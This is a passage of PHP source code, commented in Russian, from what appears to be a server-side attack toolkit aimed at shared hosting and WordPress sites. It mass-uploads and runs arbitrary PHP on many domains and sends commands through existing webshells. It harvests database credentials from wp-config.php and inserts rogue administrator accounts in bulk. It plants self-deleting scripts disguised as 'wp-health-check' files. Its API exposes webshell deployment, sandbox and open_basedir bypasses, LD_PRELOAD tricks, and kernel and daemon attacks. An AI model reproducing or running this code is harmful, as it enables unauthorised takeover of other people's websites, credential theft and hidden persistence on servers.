if (check_url_accessible($test_url)) {
$base_url = $test_url;
$domain_result['protocol'] = $protocol;
break;
}
}
if (!$base_url) {
$domain_result['error'] = 'Domain not accessible';
$results[] = $domain_result;
continue;
}
if ($method === 'curl') {
$temp_script = sys_get_temp_dir() . '/mass_exec_' . uniqid() . '.php';
@file_put_contents($temp_script, $script_content);
$upload_paths = array(
'/wp-content/uploads/' . date('Y/m') . '/',
'/wp-content/uploads/',
'/wp-content/',
'/',
'/tmp/',
'/var/tmp/'
);
$uploaded = false;
foreach ($upload_paths as $path) {
$upload_url = $base_url . $path . basename($temp_script);
if (upload_via_put($upload_url, $temp_script)) {
$domain_result['uploaded_to'] = $upload_url;
$uploaded = true;
$execution_url = $upload_url . '?execute=1';
$output = @file_get_contents($execution_url);
$domain_result['output'] = $output;
$domain_result['success'] = !empty($output);
@unlink($temp_script);
break;
}
}
if (!$uploaded) {
$domain_result['error'] = 'Could not upload script';
}
@unlink($temp_script);
}
elseif ($method === 'webshell') {
$webshell_url = find_existing_webshell($base_url);
if ($webshell_url) {
$post_data = array(
'cmd' => 'php -r "' . addslashes($script_content) . '"',
'c' => base64_encode($script_content)
);
$output = send_post_request($webshell_url, $post_data);
$domain_result['output'] = $output;
$domain_result['success'] = !empty($output);
$domain_result['webshell_url'] = $webshell_url;
} else {
$domain_result['error'] = 'No webshell found';
}
}
$results[] = $domain_result;
}
return $results;
}
/**
* Браузерная автоматизация через JavaScript
*/
function browser_based_mass_execution($domains, $script_url) {
$html = '<!DOCTYPE html>
<html>
<head>
<title>Mass Execution</title>
<script>
const domains = ' . json_encode($domains) . ';
const scriptUrl = "' . addslashes($script_url) . '";
function openAllTabs() {
domains.forEach(domain => {
const url = "http://" + domain + scriptUrl;
window.open(url, "_blank");
});
}
async function executeViaFetch() {
const results = {};
for (const domain of domains) {
try {
const url = "http://" + domain + scriptUrl;
const response = await fetch(url, {
mode: "no-cors",
cache: "no-cache"
});
results[domain] = "Success";
} catch (error) {
results[domain] = "Error: " + error.message;
}
}
document.getElementById("results").innerHTML = JSON.stringify(results, null, 2);
}
window.onload = function() {
executeViaFetch();
};
</script>
<style>
body { font-family: monospace; background: #1a1a1a; color: #0f0; padding: 20px; }
pre { background: #000; padding: 15px; border: 1px solid #333; }
button { background: #0a0; color: #fff; border: none; padding: 10px 20px; cursor: pointer; margin: 5px; }
button:hover { background: #0c0; }
</style>
</head>
<body>
<h1>Mass Execution - ' . count($domains) . ' domains</h1>
<button onclick="openAllTabs()">Open All in Tabs</button>
<button onclick="executeViaFetch()">Execute via Fetch</button>
<h2>Results:</h2>
<pre id="results">Waiting...</pre>
</body>
</html>';
$html_file = sys_get_temp_dir() . '/mass_execute_' . uniqid() . '.html';
@file_put_contents($html_file, $html);
return array(
'html_file' => $html_file,
'html_content' => $html,
'domains_count' => count($domains),
'message' => 'Browser automation HTML generated'
);
}
/**
* WebSocket массовое выполнение
*/
function websocket_mass_execution($domains, $command) {
$results = array();
$client_script = '<?php
$command = base64_decode("' . base64_encode($command) . '");
echo "Executing on " . $_SERVER["HTTP_HOST"] . "\\n";
echo shell_exec($command);
?>';
return mass_deploy_and_execute($domains, $client_script, 'curl');
}
/**
* Создание админа WordPress на указанном пути
* На основе preZ (25 v.250918).php
*
* @param string $wp_root - путь к корню WordPress
* @param string $admin_login - логин администратора
* @param string $admin_password_hash - УЖЕ ЗАХЭШИРОВАННЫЙ пароль в формате WordPress phpass ($P$B...)
* @param string $admin_email - email (опционально)
* @param string $password_display - пароль для отображения пользователю (plaintext)
*/
function create_wp_admin_on_path($wp_root, $admin_login, $admin_password_hash, $admin_email = null, $password_display = '') {
$result = array(
'success' => false,
'path' => $wp_root,
'domain' => null,
'login' => $admin_login,
'password' => $password_display, // Пароль в plaintext для отображения
'password_hash' => $admin_password_hash,
'message' => ''
);
// Проверяем что это WP
if (!is_wp_root($wp_root)) {
$result['message'] = 'Not a WordPress root';
return $result;
}
$wp_config_path = $wp_root . '/wp-config.php';
if (!@is_readable($wp_config_path)) {
$result['message'] = 'wp-config.php not readable';
return $result;
}
$wp_config = @file_get_contents($wp_config_path);
if (!$wp_config) {
$result['message'] = 'Cannot read wp-config.php';
return $result;
}
// Парсим данные БД
preg_match_all("~^define.*(DB_NAME|DB_USER|DB_PASSWORD|DB_HOST)['\"],\s*['\"](.+)['\"]\s*\);~m", $wp_config, $db_matches);
preg_match("~table_prefix\s*=\s*['\"](.+)['\"];~", $wp_config, $prefix_match);
if (count($db_matches[1]) < 4) {
$result['message'] = 'Cannot parse DB credentials';
return $result;
}
$db_config = array();
for ($i = 0; $i < count($db_matches[1]); $i++) {
$db_config[$db_matches[1][$i]] = $db_matches[2][$i];
}
$db_name = $db_config['DB_NAME'] ?? '';
$db_user = $db_config['DB_USER'] ?? '';
$db_password = $db_config['DB_PASSWORD'] ?? '';
$db_host = $db_config['DB_HOST'] ?? 'localhost';
$table_prefix = $prefix_match[1] ?? 'wp_';
// Парсим хост и порт
$db_port = 3306;
if (strpos($db_host, ':') !== false) {
list($db_host, $db_port) = explode(':', $db_host);
$db_port = (int)$db_port;
}
// Подключаемся к БД
try {
$conn = @new mysqli($db_host, $db_user, $db_password, $db_name, $db_port);
if ($conn->connect_error) {
$result['message'] = 'DB connection failed: ' . $conn->connect_error;
return $result;
}
// Получаем домен сайта
$home_query = $conn->query("SELECT option_value FROM `{$table_prefix}options` WHERE option_name = 'home' OR option_name = 'siteurl' LIMIT 1");
if ($home_query && $row = $home_query->fetch_assoc()) {
$site_url = $row['option_value'];
$result['domain'] = parse_url($site_url, PHP_URL_HOST);
$result['url'] = $site_url;
}
// Используем УЖЕ ГОТОВЫЙ ХЭШ пароля (формат WordPress phpass: $P$B...)
$hashed_password = $admin_password_hash;
$admin_email = $admin_email ?: $admin_login . '@temp-mail.org';
$admin_nicename = $admin_login;
$admin_display = ucfirst($admin_login);
$register_date = date('Y-m-d H:i:s');
// Проверяем существует ли уже такой пользователь
$login_escaped = $conn->real_escape_string($admin_login);
$check_query = $conn->query("SELECT ID FROM `{$table_prefix}users` WHERE user_login = '{$login_escaped}'");
if ($check_query && $check_query->num_rows > 0) {
$result['message'] = 'User already exists';
$result['exists'] = true;
$conn->close();
return $result;
}
// Получаем следующий ID
$max_id_query = $conn->query("SELECT MAX(ID) as max_id FROM `{$table_prefix}users`");
$max_id = 1;
if ($max_id_query && $row = $max_id_query->fetch_assoc()) {
$max_id = (int)$row['max_id'] + 1;
}
// Экранируем данные
$login_esc = $conn->real_escape_string($admin_login);
$pass_esc = $conn->real_escape_string($hashed_password);
$nice_esc = $conn->real_escape_string($admin_nicename);
$email_esc = $conn->real_escape_string($admin_email);
$display_esc = $conn->real_escape_string($admin_display);
// Вставляем пользователя
$insert_user = "INSERT INTO `{$table_prefix}users`
(`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`)
VALUES ({$max_id}, '{$login_esc}', '{$pass_esc}', '{$nice_esc}', '{$email_esc}', '', '{$register_date}', '', 0, '{$display_esc}')";
if (!$conn->query($insert_user)) {
$result['message'] = 'Failed to insert user: ' . $conn->error;
$conn->close();
return $result;
}
// Добавляем роль администратора
$capabilities = 'a:1:{s:13:"administrator";s:1:"1";}';
$cap_key = $conn->real_escape_string($table_prefix . 'capabilities');
$level_key = $conn->real_escape_string($table_prefix . 'user_level');
$conn->query("INSERT INTO `{$table_prefix}usermeta` (`user_id`, `meta_key`, `meta_value`) VALUES ({$max_id}, '{$cap_key}', '{$capabilities}')");
$conn->query("INSERT INTO `{$table_prefix}usermeta` (`user_id`, `meta_key`, `meta_value`) VALUES ({$max_id}, '{$level_key}', '10')");
$result['success'] = true;
$result['message'] = 'Admin created successfully';
$result['user_id'] = $max_id;
$conn->close();
} catch (Exception $e) {
$result['message'] = 'Exception: ' . $e->getMessage();
}
return $result;
}
/**
* Массовое создание админов на всех найденных WordPress сайтах
*
* @param string $admin_login - логин
* @param string $admin_password_hash - хэш пароля в формате WordPress ($P$B...)
* @param string $password_display - plaintext пароль для отображения
* @param string $admin_email - email (опционально)
* @param array $wp_paths - пути к WP (если null - ищем автоматически)
*/
function mass_create_wp_admins($admin_login, $admin_password_hash, $password_display = '', $admin_email = null, $wp_paths = null) {
$results = array(
'success_count' => 0,
'failed_count' => 0,
'total' => 0,
'login' => $admin_login,
'password' => $password_display,
'sites' => array()
);
// Если пути не указаны, ищем все WP
if ($wp_paths === null) {
// Используем blind_scan для поиска
$blind_opts = array(
'wp_only' => true,
'writable_only' => false,
'docroots_deep' => true,
'blind_cap' => 10000,
'bypass_isolation' => true
);
$scan_result = blind_scan($blind_opts);
$wp_paths = array();
if (!empty($scan_result['domains'])) {
foreach ($scan_result['domains'] as $domain_info) {
if (!empty($domain_info['paths'])) {
foreach ($domain_info['paths'] as $path_info) {
if (!empty($path_info['is_wp']) || is_wp_root($path_info['path'])) {
$wp_paths[] = $path_info['path'];
}
}
}
}
}
}
$wp_paths = array_unique($wp_paths);
$results['total'] = count($wp_paths);
foreach ($wp_paths as $wp_path) {
$create_result = create_wp_admin_on_path($wp_path, $admin_login, $admin_password_hash, $admin_email, $password_display);
$site_result = array(
'path' => $wp_path,
'domain' => $create_result['domain'],
'url' => $create_result['url'] ?? null,
'success' => $create_result['success'],
'login' => $create_result['success'] ? $admin_login : null,
'password' => $create_result['success'] ? $password_display : null,
'message' => $create_result['message'],
'exists' => $create_result['exists'] ?? false
);
if ($create_result['success']) {
$results['success_count']++;
} else {
$results['failed_count']++;
}
$results['sites'][] = $site_result;
}
return $results;
}
/**
* Выполнение PHP кода на одном WordPress сайте
* Создаёт временный файл, выполняет через HTTP, удаляет
*
* @param string $wp_root - путь к корню WordPress
* @param string $php_code - PHP код для выполнения (без <?php)
* @param int $timeout - таймаут в секундах
*/
function execute_php_on_wp_path($wp_root, $php_code, $timeout = 10) {
$result = array(
'success' => false,
'path' => $wp_root,
'domain' => null,
'url' => null,
'output' => '',
'error' => '',
'exec_url' => ''
);
// Проверяем что это WP
if (!is_wp_root($wp_root)) {
$result['error'] = 'Not a WordPress root';
return $result;
}
// Пробуем получить URL сайта из wp-config
$wp_config_path = $wp_root . '/wp-config.php';
$site_url = null;
if (@is_readable($wp_config_path)) {
$wp_config = @file_get_contents($wp_config_path);
if ($wp_config) {
// Парсим данные БД для получения URL
preg_match_all("~^define.*(DB_NAME|DB_USER|DB_PASSWORD|DB_HOST)['\"],\s*['\"](.+)['\"]\s*\);~m", $wp_config, $db_matches);
preg_match("~table_prefix\s*=\s*['\"](.+)['\"];~", $wp_config, $prefix_match);
if (count($db_matches[1]) >= 4) {
$db_config = array();
for ($i = 0; $i < count($db_matches[1]); $i++) {
$db_config[$db_matches[1][$i]] = $db_matches[2][$i];
}
$db_name = $db_config['DB_NAME'] ?? '';
$db_user = $db_config['DB_USER'] ?? '';
$db_password = $db_config['DB_PASSWORD'] ?? '';
$db_host = $db_config['DB_HOST'] ?? 'localhost';
$table_prefix = $prefix_match[1] ?? 'wp_';
$db_port = 3306;
if (strpos($db_host, ':') !== false) {
list($db_host, $db_port) = explode(':', $db_host);
}
try {
$conn = @new mysqli($db_host, $db_user, $db_password, $db_name, (int)$db_port);
if (!$conn->connect_error) {
$home_query = $conn->query("SELECT option_value FROM `{$table_prefix}options` WHERE option_name = 'home' OR option_name = 'siteurl' LIMIT 1");
if ($home_query && $row = $home_query->fetch_assoc()) {
$site_url = rtrim($row['option_value'], '/');
$result['domain'] = parse_url($site_url, PHP_URL_HOST);
$result['url'] = $site_url;
}
$conn->close();
}
} catch (Exception $e) {
// Игнорируем ошибки БД
}
}
}
}
// Генерируем уникальное имя файла
$temp_name = 'wp-health-check-' . substr(md5(uniqid() . mt_rand()), 0, 12) . '.php';
$temp_path = $wp_root . '/' . $temp_name;
// Формируем PHP код с обёрткой
$full_code = '<' . '?php' . "\n";
$full_code .= "// Temp exec file - auto delete\n";
$full_code .= "error_reporting(0);\n";
$full_code .= "@ini_set('display_errors', 0);\n";
$full_code .= "ob_start();\n";
$full_code .= "try {\n";
$full_code .= $php_code . "\n";
$full_code .= "} catch (Exception \$e) { echo 'Error: ' . \$e->getMessage(); }\n";
$full_code .= "\$output = ob_get_clean();\n";
$full_code .= "echo \$output;\n";
$full_code .= "// Self-delete\n";
$full_code .= "@unlink(__FILE__);\n";
// Записываем файл
if (!@file_put_contents($temp_path, $full_code)) {
$result['error'] = 'Cannot write temp file';
return $result;
}
@chmod($temp_path, 0644);
// Формируем URL для выполнения
$exec_url = '';
if ($site_url) {
$exec_url = $site_url . '/' . $temp_name;
} else {
// Пробуем определить URL из текущего запроса или конфига
$result['error'] = 'Cannot determine site URL';
@unlink($temp_path);
return $result;
}
$result['exec_url'] = $exec_url;
// Выполняем через curl
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt_array($ch, array(
CURLOPT_URL => $exec_url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => $timeout,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
));
$output = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$curl_error = curl_error($ch);
curl_close($ch);
if ($output !== false && $http_code == 200) {
$result['success'] = true;
$result['output'] = $output;
$result['http_code'] = $http_code;
} else {
$result['error'] = $curl_error ?: "HTTP $http_code";
$result['http_code'] = $http_code;
}
} else {
// Fallback на file_get_contents
$ctx = stream_context_create(array(
'http' => array(
'timeout' => $timeout,
'ignore_errors' => true
),
'ssl' => array(
'verify_peer' => false,
'verify_peer_name' => false
)
));
$output = @file_get_contents($exec_url, false, $ctx);
if ($output !== false) {
$result['success'] = true;
$result['output'] = $output;
} else {
$result['error'] = 'Failed to fetch URL';
}
}
// Удаляем файл на всякий случай (он должен самоудалиться)
@unlink($temp_path);
return $result;
}
/**
* Массовое выполнение PHP кода на всех WordPress сайтах
*
* @param string $php_code - PHP код для выполнения
* @param int $timeout - таймаут на каждый запрос
* @param array $wp_paths - пути к WP (если null - ищем автоматически)
*/
function mass_execute_php_on_wp_sites($php_code, $timeout = 10, $wp_paths = null) {
$results = array(
'success_count' => 0,
'failed_count' => 0,
'total' => 0,
'sites' => array()
);
// Если пути не указаны, ищем все WP
if ($wp_paths === null) {
$blind_opts = array(
'wp_only' => true,
'writable_only' => false,
'docroots_deep' => true,
'blind_cap' => 10000,
'bypass_isolation' => true
);
$scan_result = blind_scan($blind_opts);
$wp_paths = array();
if (!empty($scan_result['domains'])) {
foreach ($scan_result['domains'] as $domain_info) {
if (!empty($domain_info['paths'])) {
foreach ($domain_info['paths'] as $path_info) {
if (!empty($path_info['is_wp']) || is_wp_root($path_info['path'])) {
$wp_paths[] = $path_info['path'];
}
}
}
}
}
}
$wp_paths = array_unique($wp_paths);
$results['total'] = count($wp_paths);
foreach ($wp_paths as $wp_path) {
$exec_result = execute_php_on_wp_path($wp_path, $php_code, $timeout);
$site_result = array(
'path' => $wp_path,
'domain' => $exec_result['domain'],
'url' => $exec_result['url'],
'exec_url' => $exec_result['exec_url'],
'success' => $exec_result['success'],
'output' => $exec_result['output'],
'error' => $exec_result['error'],
'http_code' => $exec_result['http_code'] ?? null
);
if ($exec_result['success']) {
$results['success_count']++;
} else {
$results['failed_count']++;
}
$results['sites'][] = $site_result;
}
return $results;
}
// ==================== КОНЕЦ НОВЫХ ФУНКЦИЙ ====================
/* Router & UI */
if (isset($_GET['api'])) {
// Глобальная обработка ошибок для API
@set_time_limit(300);
@ini_set('memory_limit', '512M');
@ini_set('display_errors', 0);
error_reporting(0);
// Перехват фатальных ошибок
register_shutdown_function(function() {
$error = error_get_last();
if ($error && in_array($error['type'], array(E_ERROR, E_PARSE, E_CORE_ERROR, E_COMPILE_ERROR))) {
// Очищаем буфер если есть
while (ob_get_level()) ob_end_clean();
header('Content-Type: application/json; charset=UTF-8');
echo json_encode(array(
'status' => 'error',
'fatal' => array(
'type' => $error['type'],
'message' => $error['message'],
'file' => basename($error['file']),
'line' => $error['line']
),
'hint' => 'Try running individual attacks instead of "all"'
));
}
});
$api=$_GET['api'];
if ($api==='ping') json_out(array('status'=>'ok','pong'=>true,'time'=>date('c'),'ver'=>APP_VER));
if ($api==='env') json_out(array('status'=>'ok','env'=>php_env_info(),'ver'=>APP_VER));
if ($api==='scan') {
$wp_only = isset($_GET['wp_only']) ? (bool)$_GET['wp_only'] : true;
$writable_only = isset($_GET['writable_only']) ? (bool)$_GET['writable_only'] : true;
$q = isset($_GET['q']) ? (string)$_GET['q'] : '';
$limit = isset($_GET['limit']) ? max(1,(int)$_GET['limit']) : 1000;
$blind = !empty($_GET['blind']);
$writable_mode = isset($_GET['writable_mode']) ? $_GET['writable_mode'] : 'effective';
if ($blind) {
$blind_opts = array(
'wp_only'=>$wp_only,
'writable_only'=>$writable_only,
'docroots_deep'=>!empty($_GET['docroots_deep']),
'blind_cap'=> isset($_GET['blind_cap']) ? (int)$_GET['blind_cap'] : 8000,
'bypass_isolation'=>!empty($_GET['bypass_isolation']),
'bypass_extended'=>!empty($_GET['bypass_extended']),
'detect_users'=>!empty($_GET['detect_users']),
'config_grab'=>!empty($_GET['config_grab']),
'symlink_grab'=>!empty($_GET['symlink_grab'])
);
json_out(array('status'=>'ok','report'=>blind_scan($blind_opts)));
}
$find_opts = array(
'aggr' => !empty($_GET['scan_aggr']),
'use_templates' => isset($_GET['scan_brute']) ? (bool)$_GET['scan_brute'] : true,
'templates_mode' => isset($_GET['brute_mode']) ? $_GET['brute_mode'] : 'append',
'templates_text' => isset($_GET['templates']) ? $_GET['templates'] : '',
'use_defaults' => isset($_GET['use_defaults']) ? (bool)$_GET['use_defaults'] : true,
'client_min' => isset($_GET['client_min']) ? (int)$_GET['client_min'] : 1,
'client_max' => isset($_GET['client_max']) ? (int)$_GET['client_max'] : 50,
'web_min' => isset($_GET['web_min']) ? (int)$_GET['web_min'] : 1,
'web_max' => isset($_GET['web_max']) ? (int)$_GET['web_max'] : 50,
'cand_limit' => isset($_GET['cand_limit']) ? (int)$_GET['cand_limit'] : 3500,
'users_mode' => isset($_GET['users_mode']) ? $_GET['users_mode'] : 'append',
'users_custom' => isset($_GET['users_custom']) ? $_GET['users_custom'] : '',
'use_docroots' => isset($_GET['use_docroots']) ? (bool)$_GET['use_docroots'] : true,
'docroots_deep' => !empty($_GET['docroots_deep']),
'env_list' => isset($_GET['env_list']) ? $_GET['env_list'] : '',
'global_sweeps' => !empty($_GET['global_sweeps']),
'detect_users' => !empty($_GET['detect_users']),
);
json_out(array('status'=>'ok','report'=>build_report($q,$wp_only,$writable_only,$limit,$find_opts,$writable_mode)));
}
if ($api==='deploy') json_out(api_deploy($_POST, $_FILES));
if ($api==='delete') json_out(api_delete($_POST));
if ($api==='bypass') {
$target = isset($_GET['target']) ? $_GET['target'] : null;
$type = isset($_GET['type']) ? $_GET['type'] : 'all';
$test_write = !empty($_GET['test_write']);
$results = array();
if ($type === 'all' || $type === 'open_basedir') {
$results['open_basedir'] = bypass_open_basedir($target);
if ($test_write) {
$results['open_basedir_write_test'] = test_open_basedir_write_bypass();
}
}
if ($type === 'all' || $type === 'cagefs_lve') {
$results['cagefs_lve'] = bypass_cagefs_lve();
}
if ($type === 'all' || $type === 'chroot') {
$results['chroot'] = bypass_chroot();
}
if ($type === 'all' || $type === 'neighbors') {
$results['neighbors'] = bypass_discover_neighbors();
}
if ($type === 'all') {
$results = bypass_all_restrictions($target);
if ($test_write) {
$results['write_test'] = test_open_basedir_write_bypass();
}
}
json_out(array('status'=>'ok','bypass'=>$results,'target'=>$target,'type'=>$type,'test_write'=>$test_write));
}
if ($api==='config_grab') {
$base_path = isset($_GET['path']) ? $_GET['path'] : null;
$results = config_grab($base_path);
json_out(array('status'=>'ok','configs'=>$results,'count'=>count($results)));
}
if ($api==='symlink_grab') {
$base_path = isset($_GET['path']) ? $_GET['path'] : null;
$max_depth = isset($_GET['depth']) ? (int)$_GET['depth'] : 5;
$results = symlink_grab($base_path, $max_depth);
json_out(array('status'=>'ok','symlinks'=>$results,'count'=>count($results)));
}
// ==================== НОВЫЕ API ENDPOINTS ДЛЯ ПЕНТЕСТА ====================
// DB Explorer - обнаружение и анализ БД
if ($api==='db_explore') {
if (!csrf_check(isset($_POST['csrf'])?$_POST['csrf']:(isset($_GET['csrf'])?$_GET['csrf']:''))) {
json_out(array('status'=>'error','message'=>'bad csrf'));
}
$path = isset($_POST['path']) ? $_POST['path'] : (isset($_GET['path']) ? $_GET['path'] : '');
if ($path && is_wp_root($path)) {
$db_info = db_discovery_and_exploit($path);
json_out(array('status'=>'ok', 'db_info'=>$db_info, 'path'=>$path));
} else {
json_out(array('status'=>'error', 'message'=>'Invalid WordPress path or path not specified'));
}
}
// Deploy Adminer
if ($api==='deploy_adminer') {
if (!csrf_check(isset($_POST['csrf'])?$_POST['csrf']:'')){
json_out(array('status'=>'error','message'=>'bad csrf'));
}
$path = isset($_POST['path']) ? $_POST['path'] : '';
$name = isset($_POST['name']) ? $_POST['name'] : 'dbadmin_' . substr(md5(uniqid()), 0, 6) . '.php';
if ($path) {
$result = deploy_adminer($path, $name);
json_out(array('status'=>$result['success']?'ok':'error', 'result'=>$result));
} else {
json_out(array('status'=>'error', 'message'=>'Path not specified'));
}
}
// Deploy Shell
if ($api==='deploy_shell') {
if (!csrf_check(isset($_POST['csrf'])?$_POST['csrf']:'')){
json_out(array('status'=>'error','message'=>'bad csrf'));
}
$path = isset($_POST['path']) ? $_POST['path'] : '';
$type = isset($_POST['type']) ? $_POST['type'] : 'advanced';
$name = isset($_POST['name']) ? $_POST['name'] : null;
if ($path) {
// Для stealth используем отдельную функцию
if ($type === 'stealth') {
$result = deploy_stealth_filemanager($path, $name);
} else {
$result = deploy_advanced_webshell($path, $type);
}
json_out(array('status'=>$result['success']?'ok':'error', 'result'=>$result));
} else {
json_out(array('status'=>'error', 'message'=>'Path not specified'));
}
}
// Scan Vulnerabilities
if ($api==='scan_vulns') {
if (!csrf_check(isset($_POST['csrf'])?$_POST['csrf']:(isset($_GET['csrf'])?$_GET['csrf']:''))) {
json_out(array('status'=>'error','message'=>'bad csrf'));
}
$path = isset($_POST['path']) ? $_POST['path'] : (isset($_GET['path']) ? $_GET['path'] : '');
if ($path && is_wp_root($path)) {
$vulns = wp_vulnerability_scan($path);
json_out(array('status'=>'ok', 'vulnerabilities'=>$vulns, 'path'=>$path));
} else {
json_out(array('status'=>'error', 'message'=>'Invalid WordPress path'));
}
}
// Auto Exploit
if ($api==='auto_exploit') {
if (!csrf_check(isset($_POST['csrf'])?$_POST['csrf']:'')){
json_out(array('status'=>'error','message'=>'bad csrf'));
}
$path = isset($_POST['path']) ? $_POST['path'] : '';
if ($path && is_wp_root($path)) {
$vulns = wp_vulnerability_scan($path);
$exploits = auto_exploit_vulnerabilities($path, $vulns);
json_out(array('status'=>'ok', 'vulnerabilities'=>$vulns, 'exploits'=>$exploits, 'path'=>$path));
} else {
json_out(array('status'=>'error', 'message'=>'Invalid WordPress path'));
}
}
// Advanced Bypass (open_basedir with write)
if ($api==='advanced_bypass') {
$results = advanced_open_basedir_bypass_with_write();
json_out(array('status'=>'ok', 'bypass_results'=>$results));
}
// SQL Injection Scan
if ($api==='sqli_scan') {
if (!csrf_check(isset($_POST['csrf'])?$_POST['csrf']:(isset($_GET['csrf'])?$_GET['csrf']:''))) {
json_out(array('status'=>'error','message'=>'bad csrf'));
}
$url = isset($_POST['url']) ? $_POST['url'] : (isset($_GET['url']) ? $_GET['url'] : '');
$timeout = isset($_GET['timeout']) ? (int)$_GET['timeout'] : 10;
if ($url) {
$results = automated_sql_injection_scan($url, $timeout);
json_out(array('status'=>'ok', 'sqli_results'=>$results, 'url'=>$url, 'tested'=>count($results)));
} else {
json_out(array('status'=>'error', 'message'=>'URL not specified'));
}
}
// Generate Pentest Report
if ($api==='pentest_report') {
if (!csrf_check(isset($_POST['csrf'])?$_POST['csrf']:(isset($_GET['csrf'])?$_GET['csrf']:''))) {
json_out(array('status'=>'error','message'=>'bad csrf'));
}
$path = isset($_POST['path']) ? $_POST['path'] : (isset($_GET['path']) ? $_GET['path'] : '');
$save = isset($_POST['save']) ? (bool)$_POST['save'] : (isset($_GET['save']) ? (bool)$_GET['save'] : false);
if ($path && is_wp_root($path)) {
$report = generate_pentest_report($path, $save);
json_out(array('status'=>'ok', 'report'=>$report));
} else {
json_out(array('status'=>'error', 'message'=>'Invalid WordPress path'));
}
}
// Mass Pentest Report (для всех найденных сайтов)
if ($api==='mass_pentest') {
if (!csrf_check(isset($_POST['csrf'])?$_POST['csrf']:'')){
json_out(array('status'=>'error','message'=>'bad csrf'));
}
$limit = isset($_POST['limit']) ? (int)$_POST['limit'] : 50;
$wp_only = isset($_POST['wp_only']) ? (bool)$_POST['wp_only'] : true;
// Используем blind scan для поиска сайтов
$blind_opts = array(
'wp_only' => $wp_only,
'writable_only' => false,
'docroots_deep' => true,
'blind_cap' => 5000,
'bypass_isolation' => true
);
$scan_result = blind_scan($blind_opts);
$reports = array();
$count = 0;
foreach ($scan_result['domains'] as $domain_info) {
foreach ($domain_info['paths'] as $path_info) {
if ($count >= $limit) break 2;
$path = $path_info['path'];
if (is_wp_root($path)) {
$reports[] = array(
'domain' => $domain_info['domain'],
'path' => $path,
'report' => generate_pentest_report($path, false)
);
$count++;
}
}
}
json_out(array('status'=>'ok', 'reports'=>$reports, 'count'=>$count, 'scanned_domains'=>count($scan_result['domains'])));
}
// ==================== ПРОДВИНУТЫЕ АТАКИ API (ЭТАП 2) ====================
// Advanced Attacks - выполнение продвинутых атак
if ($api==='advanced_attacks') {
$type = isset($_GET['type']) ? $_GET['type'] : 'all';
$path = isset($_GET['path']) ? $_GET['path'] : (isset($_POST['path']) ? $_POST['path'] : null);
$results = array();
$errors = array();
try {
if ($type === 'all') {
// Выполняем каждую атаку отдельно с обработкой ошибок
try { $results['ldpreload'] = bypass_disable_functions_ldpreload(); }
catch (Exception $e) { $errors[] = 'ldpreload: ' . $e->getMessage(); }
catch (Error $e) { $errors[] = 'ldpreload: ' . $e->getMessage(); }
try { $results['shared_memory'] = shared_memory_attacks(); }
catch (Exception $e) { $errors[] = 'shared_memory: ' . $e->getMessage(); }
catch (Error $e) { $errors[] = 'shared_memory: ' . $e->getMessage(); }
try { $results['session_upload'] = session_upload_progress_attack(); }
catch (Exception $e) { $errors[] = 'session_upload: ' . $e->getMessage(); }
catch (Error $e) { $errors[] = 'session_upload: ' . $e->getMessage(); }
try { $results['opcache'] = opcache_attacks(); }
catch (Exception $e) { $errors[] = 'opcache: ' . $e->getMessage(); }
catch (Error $e) { $errors[] = 'opcache: ' . $e->getMessage(); }
try { $results['kernel'] = advanced_kernel_attacks(); }
catch (Exception $e) { $errors[] = 'kernel: ' . $e->getMessage(); }
catch (Error $e) { $errors[] = 'kernel: ' . $e->getMessage(); }
try { $results['daemons'] = find_and_attack_daemons(); }
catch (Exception $e) { $errors[] = 'daemons: ' . $e->getMessage(); }
catch (Error $e) { $errors[] = 'daemons: ' . $e->getMessage(); }
try { $results['dns_rebinding'] = dns_rebinding_prepare(); }
catch (Exception $e) { $errors[] = 'dns_rebinding: ' . $e->getMessage(); }
catch (Error $e) { $errors[] = 'dns_rebinding: ' . $e->getMessage(); }
if ($path && is_wp_root($path)) {
try { $results['database'] = db_discovery_and_exploit($path); }
catch (Exception $e) { $errors[] = 'database: ' . $e->getMessage(); }
catch (Error $e) { $errors[] = 'database: ' . $e->getMessage(); }
}
$results['timestamp'] = date('c');
$results['_errors'] = $errors;
} else {
if ($type === 'ldpreload') {
$results['ldpreload'] = bypass_disable_functions_ldpreload();
}
if ($type === 'shared_memory') {
$results['shared_memory'] = shared_memory_attacks();
}
if ($type === 'session_upload') {
$results['session_upload'] = session_upload_progress_attack();
}
if ($type === 'opcache') {
$results['opcache'] = opcache_attacks();
}
if ($type === 'kernel') {
$results['kernel'] = advanced_kernel_attacks();
}
if ($type === 'daemons') {
$results['daemons'] = find_and_attack_daemons();
}
if ($type === 'dns_rebinding') {
$results['dns_rebinding'] = dns_rebinding_prepare();
}
}
json_out(array('status'=>'ok', 'type'=>$type, 'advanced_attacks'=>$results));
} catch (Exception $e) {
json_out(array('status'=>'error', 'type'=>$type, 'message'=>$e->getMessage(), 'partial_results'=>$results));
} catch (Error $e) {
json_out(array('status'=>'error', 'type'=>$type, 'message'=>$e->getMessage(), 'partial_results'=>$results));
}
}
// CORS Vulnerability Check
if ($api==='cors_check') {
$url = isset($_GET['url']) ? $_GET['url'] : (isset($_POST['url']) ? $_POST['url'] : '');
if ($url) {
$results = cors_vulnerability_check($url);
json_out(array('status'=>'ok', 'url'=>$url, 'cors_results'=>$results));
} else {
json_out(array('status'=>'error', 'message'=>'URL required'));
}
}
// SSI Injection Check
if ($api==='ssi_check') {
$url = isset($_GET['url']) ? $_GET['url'] : (isset($_POST['url']) ? $_POST['url'] : '');
if ($url) {
$results = ssi_injection_check($url);
json_out(array('status'=>'ok', 'url'=>$url, 'ssi_results'=>$results));
} else {
json_out(array('status'=>'error', 'message'=>'URL required'));
}
}
// Privilege Escalation Scan
if ($api==='privesc') {
$results = privilege_escalation_scan();
json_out(array('status'=>'ok', 'privesc'=>$results));
}
// cPanel Access Scan
if ($api==='cpanel') {
$results = cpanel_access_scan();
json_out(array('status'=>'ok', 'cpanel'=>$results));
}
// LD_PRELOAD Bypass
if ($api==='ldpreload') {
$results = bypass_disable_functions_ldpreload();
json_out(array('status'=>'ok', 'ldpreload'=>$results));
}
// Shared Memory Attacks
